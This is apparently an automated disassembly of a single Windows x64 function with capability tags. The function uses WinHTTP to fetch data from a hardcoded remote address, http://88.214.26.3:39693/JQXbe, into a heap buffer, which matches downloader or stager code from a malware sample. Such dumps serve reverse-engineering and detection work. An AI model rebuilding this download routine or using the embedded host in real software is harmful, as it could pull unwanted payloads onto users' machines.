Function at 0x1400011b0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor r12d, r12d
lea r8, str.http:__88.214.26.3:39693_JQXbe
mov qword [rcx], r12
mov rbx, rcx
mov qword [rcx + 8], r12
mov rbp, 0xffffffffffffffff
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov r9d, ebp
mov qword [rsp + 0x20], r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
cmp rdi, 0x31
ja 0x140001528
mov eax, 2
mul rdi
cmovo rax, rbp
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x140001528
mov dword [rsp + 0x28], edi
lea r8, str.http:__88.214.26.3:39693_JQXbe
mov r9d, ebp
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [rbp + 0x69]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14000152b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsi], xmm0
mov rdx, rbp
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm0
movups xmmword [rsi + 0x40], xmm0
movups xmmword [rsi + 0x50], xmm0
mov qword [rsi + 0x60], rax
mov dword [rsi], 0x68
mov dword [rsi + 0x10], 0xffffffff
mov dword [rsi + 0x20], 0xffffffff
mov dword [rsi + 0x50], 0xffffffff
mov dword [rsi + 0x60], 0xffffffff
inc rdx
cmp word [r14 + rdx*2], ax
jne 0x1400012a6
mov r9, rsi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
je 0x14000152b
mov qword [rsp + 0x98], r15
lea rcx, [0x140003304]
xor r9d, r9d
mov dword [rsp + 0x48], r12d
xor r8d, r8d
mov dword [rsp + 0x4c], r12d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov r15, r12
mov rbp, r12
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x14000132f
mov rax, rbx
mov r15, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001550
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x90], r13
mov r13d, dword [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8, [r13 + 2]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
je 0x1400014c3
xor eax, eax
lea rcx, [r13 + 1]
movzx eax, ax
mov rdi, r12
rep stosw word [rdi], ax
mov r8d, dword [rsi + 0x20]
mov rcx, r12
mov rdx, qword [rsi + 0x18]
add r8, r8
call sub.VCRUNTIME140.dll_memcpy
mov r13, qword [rsp + 0x40]
xor r9d, r9d
movzx r8d, word [rsi + 0x24]
mov rcx, r13
mov rdx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r15, rax
test rax, rax
je 0x1400014c8
cmp dword [rsi + 0x14], 2
lea rdx, [0x140003308]
mov r8, qword [rsi + 0x48]
mov ecx, 0x800000
mov rdi, rbp
cmovne ecx, edi
xor r9d, r9d
mov dword [rsp + 0x30], ecx
mov rcx, rax
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbp, rax
test rax, rax
je 0x1400014c8
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400014c8
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400014c8
nop dword [rax]
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x48], edi
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140001494
mov edx, dword [rsp + 0x48]
mov rax, 0xffffffffffffffff
add rdx, qword [rbx + 8]
mov rdi, qword [rbx]
cmovb rdx, rax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov qword [rbx], rax
test rax, rax
je 0x1400014a6
mov rdx, qword [rbx + 8]
lea r9, [rsp + 0x4c]
mov r8d, dword [rsp + 0x48]
dec rdx
add rdx, rax
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1400014b8
mov eax, dword [rsp + 0x48]
add qword [rbx + 8], rax
mov rcx, qword [rbx + 8]
xor edi, edi
mov rax, qword [rbx]
mov byte [rcx + rax - 1], 0
cmp dword [rsp + 0x48], 0
ja 0x140001420
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400014d6
mov dword [rsp + 0x48], eax
test rdi, rdi
je 0x1400014b8
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400014d6
mov r13, qword [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test r12, r12
je 0x1400014ea
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rbp, rbp
je 0x140001501
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r15, r15
je 0x14000150f
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r13, qword [rsp + 0x90]
mov rax, rbx
jmp 0x140001306
mov r14, r12
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, rbx
jmp 0x14000130e